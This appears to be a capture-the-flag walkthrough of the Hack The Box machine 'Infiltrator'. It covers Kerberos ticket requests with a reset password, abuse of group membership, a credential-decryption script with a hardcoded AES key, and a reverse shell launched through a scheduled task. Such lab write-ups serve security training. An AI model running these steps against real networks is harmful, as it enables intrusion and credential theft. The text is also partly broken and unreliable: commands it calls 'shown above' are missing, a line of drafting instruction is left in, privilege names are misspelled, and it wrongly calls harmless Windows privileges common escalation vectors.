After we changed e.rodriguez’s password, we needed to prove to the network that we are now acting as this user. To do this, we requested something called a Kerberos ticket — think of it like a digital badge that confirms your identity on the network.

The first command:

impacket-getTGT infiltrator.htb/"e.rodriguez":"P@ssw0rd" -dc-ip dc01.infiltrator.htb

This tells the system:

• “Hey, get me a Kerberos ticket for the user e.rodriguez using the new password P@ssw0rd”
• infiltrator.htb is the domain (like a company name on the network).
• -dc-ip dc01.infiltrator.htb specifies the IP address of the domain controller — the server that manages user identities and passwords.

The second command:

export KRB5CCNAME=e.rodriguez.ccache

accounts.

This tells your computer, “When you need to prove who you are on the network, use the ticket saved in the file e.rodriguez.ccache.” This way, other tools or commands can authenticate as e.rodriguez without asking for the password again.

In short, these commands let us log in as e.rodriguez on the network using the new password, but instead of typing the password each time, we use the Kerberos ticket as a secure proof of identity.

This command uses BloodyAD to add the user e.rodriguez to the “CHIEFS MARKETING” group in the Active Directory. By doing this, e.rodriguez gains the permissions and access rights of that group, potentially increasing control within the network.

It seems the password isn’t being accepted—maybe a cleanup script or some process is reverting it back to the old one.

Kerberos Configuration

After making the changes, you need to configure your system to use the Kerberos ticket properly. First, tell your system where the Kerberos server is and specify the ticket file by editing the configuration file as shown below:

$ cat /etc/krb5.conf 
[libdefaults]
    default_realm = INFILTRATOR.HTB
    dns_lookup_kdc = false
    dns_lookup_realm = false

[realms]
    INFILTRATOR.HTB = {
        kdc = 10.10.11.31
        admin_server = 10.10.11.31
    }

[domain_realm]
    .infiltrator.htb = INFILTRATOR.HTB
    infiltrator.htb = INFILTRATOR.HTB

Once this is set up, you can use evil-winrm to pass the Kerberos ticket and authenticate seamlessly.

This script should work if quick enough

Finally, we gained access to the evil-winrm shell.

We can view the user flag by running the command type user.txt.

Escalate to Root Privileges Access

Privilege Escalation:

The whoami /all command reveals the full security context of the current user, including group memberships and privileges. It’s a quick way to check if the user has elevated rights or special privileges like SeImpersonatePrivilege, which can be abused for privilege escalation. This makes it essential during post-exploitation to assess what actions the compromised account can perform.

If whoami /privs shows three privileges enabled, you can briefly explain it like this in your write-up:

Running whoami /privs revealed three enabled privileges. These indicate what special actions the current user can perform without needing admin rights. Commonly abused ones include SeMachineAccouuntPrivilege, SeChangeNotifyPrivilege, or SeIncreaseWorrkingSetPrivilege, which attackers often leverage for privilege escalation via token manipulation or service abuse. Identifying these helps determine viable escalation paths quickly.

Port-Forwarding on the Infiltrator Machine

Discovered several local services while inspecting network connections using the netstat command.

On the client side, these are the ports that need to be forwarded to our machine.

The port is actively listening for connections.

Output Messenger Access

It redirects us to a login page.

An Apache server is also running.

Clicking on it leads to a 404 error page.

We can log in to Output Messenger using K.Turner’s credentials.

K.turner’s wall contains a post mentioning the password for M. Harris.

Log in to the application via a web browser using the credentials we discovered earlier.

Unfortunately, it doesn’t display properly in the browser

wget https://www.outputmessenger.com/OutputMessenger_amd64.deb -O OutputMessenger_amd64.deb
sudo dpkg -i OutputMessenger_amd64.deb
outputmessenger

The commands start by downloading the Output Messenger installation package directly from its official website using wget, saving it as a .deb file on the local machine. Then, the package is installed with administrative privileges using dpkg, the Debian package manager, which handles the installation of .deb files. After the installation is complete, the outputmessenger command is used to launch the application, allowing access to its messaging features.

Let’s launch Output Messenger.

Use the same credentials as before to log in.

We have successfully logged into Output Messenger as m.harris, and the interface appears clean and visually appealing.

We should download the UserExplorer.exe file to our local machine for further analysis.

Cracking the password

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import base64

def decrypt_string(key: str, cipher_text: str) -> str:
  key_bytes = key.encode('utf-8')
  cipher_bytes = base64.b64decode(cipher_text)

  if len(key_bytes) not in {16, 24, 32}:
    raise ValueError("Key must be 16, 24, or 32 bytes long")

  cipher = Cipher(algorithms.AES(key_bytes), modes.CBC(b'\x00' * 16), backend=default_backend())
  decryptor = cipher.decryptor()

  decrypted_bytes = decryptor.update(cipher_bytes) + decryptor.finalize()

  return decrypted_bytes.decode('utf-8')

key = 'b14ca5898a4e4133bbce2ea2315a1916'
cipher_text = 'TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE='

print(decrypt_string(key,decrypt_string(key, cipher_text)))

It works by taking a scrambled string (known as a ciphertext) and unlocking it using a method called AES encryption, which is a widely used standard for securing data. The key acts like a password that must match exactly for the decryption to succeed. If the key isn’t the right length, specifically 16, 24, or 32 characters, the program will stop and raise an error. Once everything is set up, it processes the ciphertext and converts it back into readable text. Interestingly, in this example, the program decrypts the message twice in a row, which might mean the original data was encrypted two times for extra security.

After some time, we successfully retrieved the password displayed above.

It should work like a charm.

It functions exactly as intended.

The privileges granted are the same as those of the previous user.

Database Analysis

There are two DB3 files available for further investigation.

Downloaded the database to our machine and observed several chatroom groups listed inside.

This hints at the presence of an account password, but access to the chat history in this channel is restricted. Coincidentally, the API key for it is available just above.

The user lan_management has permission to read the GMSA (Group Managed Service Account) password of infiltrator_svc. This means they can retrieve the service account’s credentials, which could be used to access systems or services that rely on that account, potentially a key step toward privilege escalation.

This command securely retrieves chat history from a local server using a unique API key for access. It specifically requests logs from a particular chatroom within the date range of August 1, 2023, to August 31, 2024. Once the data is received, it filters out just the chat logs and saves them into a file named dark.html. This allows users to back up or review past conversations in a readable format.

We retrieve the credentials for O.martinez.

I generated a PowerShell Base64-encoded reverse shell one-liner using revshells.com and saved it as rev.bat. After uploading the script to the Infiltrator machine, I scheduled a task to execute it. When the scheduled time arrived, the reverse shell successfully connected back, granting remote access.

dark@parrot$ rlwrap nc -lvnp 9007
Listening on 0.0.0.0 9007
Connection received on 10.10.11.31 50279

PS C:\Windows\system32> whoami
infiltrator\o.martinez

There is one .pcapng file, which is a Wireshark analysis file.

Download the file to our local machine.

Wireshark Analysis

We have a new_auth_token, which might be a password.

We save the bitlocker-backup.7z file to our machine in ASCII format.

BitLocker Backup

The file should resemble the example shown above.

However, it did not succeed for some reason.

Therefore, let’s download the file in “RAW” format.

In the end, the file is a properly formatted 7-zip archive.

Let’s crack the zip file

Discovered “zipper” as the password for the bitlocker-backup.7z archive.